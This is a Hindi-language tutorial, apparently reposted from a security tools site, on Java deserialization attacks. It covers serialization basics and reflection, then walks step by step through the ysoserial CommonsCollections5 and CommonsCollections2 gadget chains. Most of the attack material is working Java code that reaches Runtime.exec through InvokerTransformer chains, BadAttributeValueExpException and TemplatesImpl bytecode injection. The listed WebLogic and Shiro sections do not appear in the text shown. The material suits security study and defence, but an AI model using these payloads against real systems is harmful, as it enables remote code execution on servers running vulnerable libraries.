जावा डिसीरियलाइज़ेशन तकनीक साझा करना

इस बार साझा करने में निम्नलिखित बिंदु शामिल हैं:

जावा सीरियलाइज़ेशन और डिसीरियलाइज़ेशन की मूल बातें
डिसीरियलाइज़ेशन के दौरान कमज़ोरियाँ क्यों उत्पन्न होती हैं?
जावा रिफ्लेक्शन
ysoserial CommonsCollections2, CommonsCollections5
Java ClassLoader द्वारा क्लास लोड करने की कई विधियाँ
WebLogic CVE-2020-2555 CVE-2020-2883 RCE
Shiro-550 rememberMe हार्डकोडेड होने के कारण डिसीरियलाइज़ेशन RCE
WebLogic + Shiro डिसीरियलाइज़ेशन वन-क्लिक रजिस्टर फ़िल्टर मेमोरी शेल

जावा सीरियलाइज़ेशन और डिसीरियलाइज़ेशन की मूल बातें

जावा सीरियलाइज़ेशन से तात्पर्य जावा ऑब्जेक्ट को बाइट अनुक्रम में बदलने की प्रक्रिया से है, ताकि इसे मेमोरी, फ़ाइल या डेटाबेस में आसानी से संग्रहीत किया जा सके। ObjectOutputStream क्लास की writeObject() विधि सीरियलाइज़ेशन को लागू कर सकती है, जो जावा ऑब्जेक्ट को बाइट अनुक्रम में बदल देती है।

जावा डिसीरियलाइज़ेशन से तात्पर्य बाइट अनुक्रम को पुनः जावा ऑब्जेक्ट में बदलने की प्रक्रिया से है। ObjectInputStream क्लास की readObject() विधि डिसीरियलाइज़ेशन के लिए उपयोग की जाती है।

एक सरल उदाहरण लें, कोड SerializeAndDeserialize देखें ps: यहाँ कोड में फ़ोर्स्ड टाइप कास्टिंग पर विशेष ध्यान दें```java package org.chabug.demo;

import org.chabug.entity.Dog; import org.chabug.entity.Person; import org.chabug.util.Serializables;

/* 这个例子是为了证明只要实现了Serializable接口的类都可以被序列化并且Java内置的几大数据类型也可被序列化，因为他们都继承了Object类 */

public class SerializeAndDeserialize {

public static void main(String[] args) throws Exception {
    byte[] bytes;
    String s1 = "I'm a String Object....";
    bytes = Serializables.serializeToBytes(s1);
    Object o1 = Serializables.deserializeFromBytes(bytes);
    System.out.println(o1);

    String[] s2 = new String[]{"tom", "bob", "jack"};
    bytes = Serializables.serializeToBytes(s2);
    String[] o2 = (String[])Serializables.deserializeFromBytes(bytes);
    System.out.println(o2);

    int i = 123;
    bytes = Serializables.serializeToBytes(i);
    int o3 = (Integer) Serializables.deserializeFromBytes(bytes);
    System.out.println(o3);

    // 一只名叫woody的狗
    Dog dog = new Dog();
    dog.setName("woody");

    // tom
    Person tom = new Person();
    tom.setAge(14);
    tom.setName("tom");
    tom.setSex("男");
    tom.setDog(dog);

    bytes = Serializables.serializeToBytes(tom);
    Person o = (Person) Serializables.deserializeFromBytes(bytes);
    System.out.println(o);

}

}

String、Integer、Array、Object जैसे Java के बिल्ट-इन डेटा प्रकार क्रमबद्ध किए जा सकते हैं। हमारे द्वारा लिखे गए Person और Dog क्लास को Serializable इंटरफ़ेस लागू करने पर क्रमबद्ध और डीक्रमबद्ध किया जा सकता है।

## डीक्रमबद्धीकरण के दौरान कमज़ोरी क्यों उत्पन्न होती है?

एक कोड स्निपेट देखें। अब एक दुर्भावनापूर्ण एंटिटी क्लास EvilClass है।```java
package org.chabug.entity;

import java.io.ObjectInputStream;
import java.io.Serializable;

public class EvilClass implements Serializable {
    String name;

    public EvilClass() {
        System.out.println(this.getClass() + "的EvilClass()构造方法被调用!!!!!!");
    }

    public EvilClass(String name) {
        System.out.println(this.getClass() + "的EvilClass(String name)构造方法被调用!!!!!!");
        this.name = name;
    }

    public String getName() {
        System.out.println(this.getClass() + "的getName被调用!!!!!!");
        return name;
    }

    public void setName(String name) {
        System.out.println(this.getClass() + "的setName被调用!!!!!!");
        this.name = name;
    }

    @Override
    public String toString() {
        System.out.println(this.getClass() + "的toString()被调用!!!!!!");
        return "EvilClass{" +
                "name='" + getName() + '\'' +
                '}';
    }

    private void readObject(ObjectInputStream in) throws Exception {
        //执行默认的readObject()方法
        in.defaultReadObject();
        System.out.println(this.getClass() + "readObject()被调用!!!!!!");
        Runtime.getRuntime().exec(new String[]{"cmd", "/c", name});
    }
}

इसके readObject में कमांड निष्पादित करने वाला कोड है Runtime.getRuntime().exec(new String[]{"cmd", "/c", name}), name पैरामीटर निष्पादित होने वाला कमांड है। तो हम एक दुर्भावनापूर्ण ऑब्जेक्ट बना सकते हैं, उसके name प्रॉपर्टी को निष्पादित होने वाले कमांड पर सेट कर सकते हैं, जब डीसीरियलाइज़ेशन readObject को ट्रिगर करेगा तो RCE होगा। इस प्रकार```java package org.chabug.demo;

import org.chabug.entity.EvilClass; import org.chabug.util.Serializables;

public class EvilSerialize { public static void main(String[] args) throws Exception { EvilClass evilObj = new EvilClass(); evilObj.setName("calc"); byte[] bytes = Serializables.serializeToBytes(evilObj); EvilClass o = (EvilClass) Serializables.deserializeFromBytes(bytes); System.out.println(o); } }

![image-20200822105256120](https://assets.kitploit.com/production/public/readmes/21799/7f07c0c8196e56e1d554bce64f73f069bdd3e589a3302936c831903e5f7e5539.png)

अब हम जानते हैं कि डिसीरियलाइज़ेशन (deserialization) को RCE तक कैसे पहुँचाया जाता है, लेकिन विकास में इसे सीधे इस तरह से नहीं लिखा जाता है, इसलिए इसमें उपयोग श्रृंखला (exploit chain) की खोज शामिल है। डिसीरियलाइज़ेशन भेद्यता के लिए तीन चीजों की आवश्यकता होती है:

1. डिसीरियलाइज़ेशन प्रवेश (source)
2. लक्ष्य विधि (sink)
3. उपयोग श्रृंखला (gadget chain)

ध्यान से ऊपर की छवि में आउटपुट परिणाम को फिर से देखें, न केवल readObject विधि ट्रिगर हुई, बल्कि toString(), बिना पैरामीटर वाला कंस्ट्रक्टर, set, get विधियाँ भी ट्रिगर हुईं, इसलिए वास्तविक उपयोग श्रृंखला की खोज में केवल readObject() विधि पर ध्यान केंद्रित करने की आवश्यकता नहीं है।



फिर अब हमें **प्रतिबिंब (Reflection)** को समझने की आवश्यकता है, ऊपर हमने **अनिवार्य प्रकार रूपांतरण (Forced type conversion)** की समस्या का उल्लेख किया था, वास्तविक विकास में, readObject में तार्किक प्रसंस्करण किया जाता है, जब इनपुट ऑब्जेक्ट के विशिष्ट डेटा प्रकार का पता नहीं होता है तो प्रतिबिंब के माध्यम से निर्णय लिया जाता है, और प्रतिबिंब ही हमारा RCE तक पहुँचने का महत्वपूर्ण साधन है।

## Java प्रतिबिंब (Reflection)

प्रतिबिंब क्या है? "प्रतिबिंब" में एक "प्रति" शब्द है, तो प्रतिबिंब को समझाने के लिए "सीधे प्रतिबिंब" (direct reflection) से शुरू करना होता है, कोड देखें। यह मेरी एंटिटी क्लास है।```java
package org.chabug.entity;

import java.io.IOException;

public class ReflectionClass {
    String name;

    public ReflectionClass(String name) {
        this.name = name;
    }

    public ReflectionClass() {
    }

    public String say() {
        return this.name;
    }

    private void evil(String cmd) {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd});
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public String toString() {
        return "ReflectionClass{" +
                "name='" + name + '\'' +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }
}

सामान्य लेखन```java package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

public class ReflectionDemo { public static void main(String[] args) { ReflectionClass demo = new ReflectionClass(); demo.setName("hello"); System.out.println(demo.say()); // demo.evil("calc"); // 不能够调用private方法 } }

सीधे शब्दों में, new के ज़रिए एक ReflectionClass इंस्टेंस बनाया जाता है, फिर उस इंस्टेंस के ज़रिए उसकी संबंधित विधि को कॉल किया जाता है, इसे "प्रत्यक्ष प्रतिबिंब" कहते हैं। लेकिन जब आप new का उपयोग कर रहे हों और क्लास का नाम नहीं जानते हों तो क्या करें? private द्वारा संरक्षित विधि को कैसे कॉल करें? प्रतिबिंब की भूमिका यहाँ स्पष्ट होती है। नीचे दिए गए कोड को देखें।```java
package org.chabug.demo;

import org.chabug.entity.ReflectionClass;

import java.lang.reflect.Method;

public class ReflectionDemo {
    public static void main(String[] args) throws Exception {
        // new
        Class<?> aClass = Class.forName("org.chabug.entity.ReflectionClass");
        Object o = aClass.newInstance();

        // setName("jack")
        Method setName = aClass.getDeclaredMethod("setName",String.class);
        setName.invoke(o, "jack");

        // say()
        Method say = aClass.getDeclaredMethod("say",null);
        Object o1 = say.invoke(o, null);
        System.out.println(o1);

        // evil("calc")
        // 反射可以修改方法的修饰符来调用private方法
        Method evil = aClass.getDeclaredMethod("evil", String.class);
        evil.setAccessible(true);
        evil.invoke(o,"calc");
    }
}

वर्ग का नाम पहले से जानने की आवश्यकता नहीं है, org.chabug.entity.ReflectionClass वर्ग का उपयोग करके थोड़ा संशोधित करके पैरामीटर के रूप में पास किया जा सकता है, और setAccessible के माध्यम से private संरक्षित विधियों या फ़ील्ड तक पहुँचा जा सकता है।

अब हम कमज़ोरी से शुरुआत करते हैं, डिसीरियलाइज़ेशन में रिफ्लेक्शन की भूमिका और डिसीरियलाइज़ेशन कॉल चेन की खोज को गहराई से समझते हैं।

ysoserial CommonsCollections2、CommonsCollections5

ysoserial एक Java डिसीरियलाइज़ेशन exp उत्पन्न करने का उपकरण है, जिसमें कुछ पहले से मौजूद exp शामिल हैं, जैसे CommonsCollections की कई शोषण श्रृंखलाएँ। इस बार CC2 और CC5 इन दो श्रृंखलाओं का विश्लेषण किया जाएगा। इन दोनों का विश्लेषण करने का कारण यह है कि CC2 में बाइटकोड को परिभाषित करने का ऑपरेशन उपयोग किया गया है, और CC5 में रिफ्लेक्शन और श्रृंखला कॉल की समझ को गहरा करने के लिए।

पहले CC5 श्रृंखला को देखते हैं जो समझने में अधिक सुविधाजनक है।

CommonsCollections5

कमज़ोरी org.apache.commons.collections.functors.InvokerTransformer#transform में दिखाई देती है।```java public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }

कोड की तुलना reflection अध्याय से करने पर यह स्पष्ट है कि यह reflection का उपयोग है; इसे direct call के कोड द्वारा समझाने पर यह होगा:```java
input.iMethodName(iArgs);

this.iMethodName, this.iParamTypes, और this.iArgs सभी कंस्ट्रक्टर में नियंत्रणीय हैं। इस प्रकार, input ऑब्जेक्ट की किसी भी विधि को कॉल किया जा सकता है, कोई भी पैरामीटर पास करके।```java public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }

इस प्रकार पहले एक कमांड निष्पादित करने का कोड```java
package org.chabug.demo;

import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 {
    public static void main(String[] args) throws Exception {
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        invokerTransformer.transform(Runtime.getRuntime());
    }
}

चूंकि Runtime वर्ग सिंगलटन पैटर्न के अनुसार है, इसलिए getRuntime() के माध्यम से Runtime रनटाइम ऑब्जेक्ट प्राप्त करना आवश्यक है, और transform() में भेजने के बाद कैलकुलेटर खुल जाता है।

लेकिन हम जानते हैं कि डीसीरियलाइज़ेशन के दौरान केवल readObject() स्वचालित रूप से निष्पादित होता है। यदि इस समय सीधे InvokerTransformer ऑब्जेक्ट बनाया जाता है, तो भी दो समस्याओं का समाधान करना होगा

Runtime.getRuntime() का स्वचालित निष्पादन
invokerTransformer.transform() का स्वचालित निष्पादन

पहले पहली समस्या का समाधान करें, org.apache.commons.collections.functors.ChainedTransformer#transform में चेन्ड कॉल्स कार्यान्वित की जा सकती हैं```java public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }

this.iTransformers की परिभाषा Transformer सारणी है```java
private final Transformer[] iTransformers;

Transformer एक इंटरफ़ेस है, और InvokerTransformer भी इस इंटरफ़ेस को लागू करता है।

Java में अंतर्निहित प्रकार रूपांतरण के सिद्धांत के अनुसार, हम एक Transformer सरणी को परिभाषित कर सकते हैं, जिसमें कई InvokerTransformer रखे जा सकते हैं ताकि बार-बार रिफ्लेक्शन कॉल प्राप्त की जा सकें और Runtime.getRuntime().exec() तक पहुंचा जा सके।```java package org.chabug.demo;

import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;

public class CC5 { public static void main(String[] args) throws Exception { // ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc"); Transformer[] transformers = new Transformer[]{ // 传入Runtime类 new ConstantTransformer(Runtime.class), // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime() new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), // 调用exec("calc") new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); chain.transform(null); } }

इसकी खास बात यह है कि ConstantTransformer वर्ग के कंस्ट्रक्टर के माध्यम से Runtime.class पास किया गया, जिससे हमें स्वयं Runtime पास करने की आवश्यकता नहीं रही।

अब दूसरी समस्या को हल करने की आवश्यकता है: transform() को स्वचालित रूप से कैसे ट्रिगर किया जाए। सभी जानते हैं कि readObject() डीसीरियलाइज़ेशन के दौरान निष्पादित होता है, तो उस वर्ग के readObject() में प्रत्यक्ष या अप्रत्यक्ष रूप से transform() को कॉल किया गया है?

org.apache.commons.collections.map.LazyMap#get में transform() को कॉल किया गया है।```java
public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}

इस वर्ग की निर्माण विधि और factory फ़ील्ड देखें```java protected final Transformer factory;

public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); }

factory फ़ील्ड final और protected मॉडिफ़ायर के साथ है, लेकिन इसमें एक public विधि decorate() है जो इस क्लास का ऑब्जेक्ट बनाती है, तो हम निम्नलिखित का निर्माण कर सकते हैं```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
map.get("test");	//执行这个就会弹出计算器  map.get() > transform()

अब यह खोज रहे हैं कि map की get() विधि कहाँ बुलाई गई है org.apache.commons.collections.keyvalue.TiedMapEntry#getValue```java private final Map map; private final Object key;

public TiedMapEntry(Map map, Object key) { this.map = map; this.key = key; } public Object getKey() { return this.key; } public Object getValue() { return this.map.get(this.key); } public String toString() { return this.getKey() + "=" + this.getValue(); }

getValue() बिल्कुल map.get() को कॉल करता है, और हम this.key को भी नियंत्रित कर सकते हैं। और toString() this.getValue() को कॉल करता है। अब आगे निर्माण जारी रखें।```java
HashMap hashMap = new HashMap();
Map map = LazyMap.decorate(hashMap, chain);
// map.get("test");
TiedMapEntry key = new TiedMapEntry(map, "key");
key.toString();	// toString > getValue() > map.get()

तो अब समस्या यह है कि readObject स्वचालित रूप से toString() को कैसे ट्रिगर करे, यह सरल है, JDK आंतरिक वर्ग में एक BadAttributeValueExpException अपवाद वर्ग है, जिसका readObject() toString() को निष्पादित करेगा।```java public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); } public String toString() { return "BadAttributeValueException: " + val; }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ObjectInputStream.GetField gf = ois.readFields(); Object valObj = gf.get("val", null);

if (valObj == null) {
    val = null;
} else if (valObj instanceof String) {
    val= valObj;
} else if (System.getSecurityManager() == null
           || valObj instanceof Long
           || valObj instanceof Integer
           || valObj instanceof Float
           || valObj instanceof Double
           || valObj instanceof Byte
           || valObj instanceof Short
           || valObj instanceof Boolean) {
    val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
    val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}

}

क्योंकि System.getSecurityManager() डिफ़ॉल्ट रूप से null है, इसलिए val = valObj.toString() ट्रिगर होता है, TiedMapEntry.toString() में प्रवेश करता है, अंतिम payload```java
package org.chabug.demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.chabug.util.Serializables;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
//        chain.transform(null);
        HashMap hashMap = new HashMap();
        Map map = LazyMap.decorate(hashMap, chain);
//        map.get("asd");
        TiedMapEntry key = new TiedMapEntry(map, "key");
//        key.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, key);


        byte[] bytes = Serializables.serializeToBytes(badAttributeValueExpException);
        Serializables.deserializeFromBytes(bytes);
    }
}

ध्यान देने योग्य बात यह है कि BadAttributeValueExpException ऑब्जेक्ट को घोषित करते समय, entry पैरामीटर सीधे पास नहीं किया जाता, बल्कि रिफ्लेक्शन का उपयोग करके मान निर्धारित किया जाता है। क्योंकि BadAttributeValueExpException का कंस्ट्रक्टर यह जाँचता है कि मान शून्य है या नहीं, यदि शून्य नहीं है तो सीरियलाइज़ेशन के दौरान toString() निष्पादित होगा। इसलिए डीसीरियलाइज़ेशन के समय, चूँकि entry पहले से ही एक स्ट्रिंग है, toString विधि ट्रिगर नहीं होगी।

सारांश: रिफ्लेक्शन और चेन कॉल का लचीलेपन से उपयोग करें, फिर gadget ढूँढकर सफलतापूर्वक RCE प्राप्त करें।```java /* Gadget chain: ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec() Requires: commons-collections */

### CommonsCollections2

CC2 का परिचय देने से पहले, सबसे पहले Java बाइटकोड को समझना आवश्यक है। Java में सभी Java कोड को class बाइटकोड फ़ाइलों में संकलित किया जाना चाहिए ताकि उन्हें jvm द्वारा निष्पादित किया जा सके। बाइटकोड एक असेंबली भाषा की तरह अधिक है, इसकी पठनीयता बहुत खराब है, लेकिन फिर भी कई उत्कृष्ट लाइब्रेरीज़ हैं जो बाइटकोड को संचालित, संशोधित और संपादित करके प्रोग्रामिंग करने के लिए हैं, जैसे asm, cglib और javassist। ysoserial टूल में उपयोग की जाने वाली लाइब्रेरी javassist है। पहले देखते हैं कि ysoserial में cc2 का payload कैसे लिखा जाता है।```java
public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);

    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;

    return queue;
}

पहली पंक्ति में पहले देखें Gadgets.createTemplatesImpl(command)```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

`org.apache.xalan.xsltc.trax.TemplatesImpl` इस वर्ग का उल्लेख किया गया है, तो पहले दो पंक्तियों का कोड देखना होगा।```java
package org.chabug.demo;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import ysoserial.payloads.util.Gadgets;

public class CC2 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl object = (TemplatesImpl) Gadgets.createTemplatesImpl("calc");
        object.newTransformer();
    }
}

कैलकुलेटर क्यों पॉप अप हुआ? गहराई से समझें createTemplatesImpl()```java public static Object createTemplatesImpl ( final String command ) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); }

return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);

}

public static T createTemplatesImpl ( final String command, Class tplClass, Class abstTranslet, Class transFactory ) throws Exception { final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
    command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
    "\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
    classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;

}

ऊपर दिए गए कोड ने निम्नलिखित कार्य किए हैं:

1. `org.apache.xalan.xsltc.trax.TemplatesImpl` ऑब्जेक्ट templates को इंस्टैंशिएट किया गया, इस ऑब्जेक्ट का `_bytecodes` बाइटकोड संग्रहीत कर सकता है
2. स्वयं एक `StubTransletPayload` क्लास लिखा गया जो `AbstractTranslet` से इनहेरिट करता है और `Serializable` इंटरफ़ेस को लागू करता है
3. `StubTransletPayload` का बाइटकोड प्राप्त किया गया और javassist का उपयोग करके `templates` बाइटकोड (Runtime.exec कमांड निष्पादन) में डाला गया
4. रिफ्लेक्शन द्वारा `templates` के `_bytecodes` को कमांड निष्पादन युक्त बाइटकोड पर सेट किया गया

वास्तव में, यह एक `org.apache.xalan.xsltc.trax.TemplatesImpl` उपवर्ग को लागू करता है, और फिर उसके `_bytecodes` फ़ील्ड में अपना दुर्भावनापूर्ण बाइटकोड डालता है। newTransformer() देखें।```java
public synchronized Transformer newTransformer()
    throws TransformerConfigurationException
{
    TransformerImpl transformer;

    transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
                                      _indentNumber, _tfactory);

    if (_uriResolver != null) {
        transformer.setURIResolver(_uriResolver);
    }

    if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
        transformer.setSecureProcessing(true);
    }
    return transformer;
}

会执行getTransletInstance()，跟进```java private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;

    if (_class == null) defineTransletClasses();

    // The translet needs to keep a reference to all its auxiliary
    // class to prevent the GC from collecting them
    AbstractTranslet translet = (AbstractTranslet)
        _class[_transletIndex].getConstructor().newInstance();
    translet.postInitialization();
    translet.setTemplates(this);
    translet.setOverrideDefaultParser(_overrideDefaultParser);
    translet.setAllowedProtocols(_accessExternalStylesheet);
    if (_auxClasses != null) {
        translet.setAuxiliaryClasses(_auxClasses);
    }

    return translet;
}
catch (InstantiationException | IllegalAccessException |
       NoSuchMethodException | InvocationTargetException e) {
    ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
    throw new TransformerConfigurationException(err.toString(), e);
}

}

यह पंक्ति बाइटकोड द्वारा परिभाषित क्लास से एक इंस्टेंस बनाने (new) के लिए होती है, और बाइटकोड द्वारा परिभाषित क्लास के static ब्लॉक में Runtime.exec लिखा होता है, जिसके कारण RCE होता है।```java
AbstractTranslet translet = (AbstractTranslet)            _class[_transletIndex].getConstructor().newInstance();

तो readObject में template.newTransformer() को कॉल करने वाला एक वर्ग खोजें। यानी payload में PriorityQueue

PriorityQueue एक प्राथमिकता-आधारित असीमित प्राथमिकता कतार है। प्राथमिकता कतार के तत्वों को उनके प्राकृतिक क्रम के अनुसार क्रमबद्ध किया जाता है, या कतार के निर्माण के समय प्रदान किए गए Comparator के अनुसार, उपयोग किए गए निर्माण विधि पर निर्भर करता है।

इसके readObject() को देखें।```java private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
    queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();

}

चूंकि यह एक प्राथमिकता कतार है, तो इसमें छँटाई अनिवार्य है। heapify() में```java
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]); // 进行排序
}
private void siftDown(int k, E x) {
    if (comparator != null) 
        siftDownUsingComparator(k, x); // 如果指定比较器就使用
    else
        siftDownComparable(k, x);  // 没指定就使用默认的自然比较器
}
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}
private void siftDownComparable(int k, E x) {
    Comparable<? super E> key = (Comparable<? super E>)x;
    int half = size >>> 1;        // loop while a non-leaf
    while (k < half) {
        int child = (k << 1) + 1; // assume left child is least
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            ((Comparable<? super E>) c).compareTo((E) queue[right]) > 0)
            c = queue[child = right];
        if (key.compareTo((E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = key;
}

comparator एक तुलनाकर्ता है, जब comparator निर्दिष्ट किया जाता है तो comparator.compare((E) c, (E) queue[right]) में प्रवेश किया जाता है। comparator Comparator इंटरफ़ेस का ऑब्जेक्ट है।```java private final Comparator<? super E> comparator;

इसकी वंशावली देखने पर पता चलता है कि CC पैकेज में TransformingComparator क्लास Comparator इंटरफ़ेस को लागू करता है

![image-20200822155342130](https://assets.kitploit.com/production/public/readmes/21799/8efbc6595d2b8d6f314f557bbc3763d8d3d082872989758404641a4e58701b20.png)

TransformingComparator का compare() मेथड```java
public int compare(I obj1, I obj2) {
    O value1 = this.transformer.transform(obj1);
    O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

अरे, यह तो पहले का transform किसी भी विधि का रिफ्लेक्शन कॉल है न! this.transformer में InvokerTransformer क्लास है, पहले के newTransformer() को रिफ्लेक्शन कॉल करते ही सीधे RCE हो जाता है। payload बनाएं।```java public Queue getObject(final String command) throws Exception { final Object templates = Gadgets.createTemplatesImpl(command); // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;

}

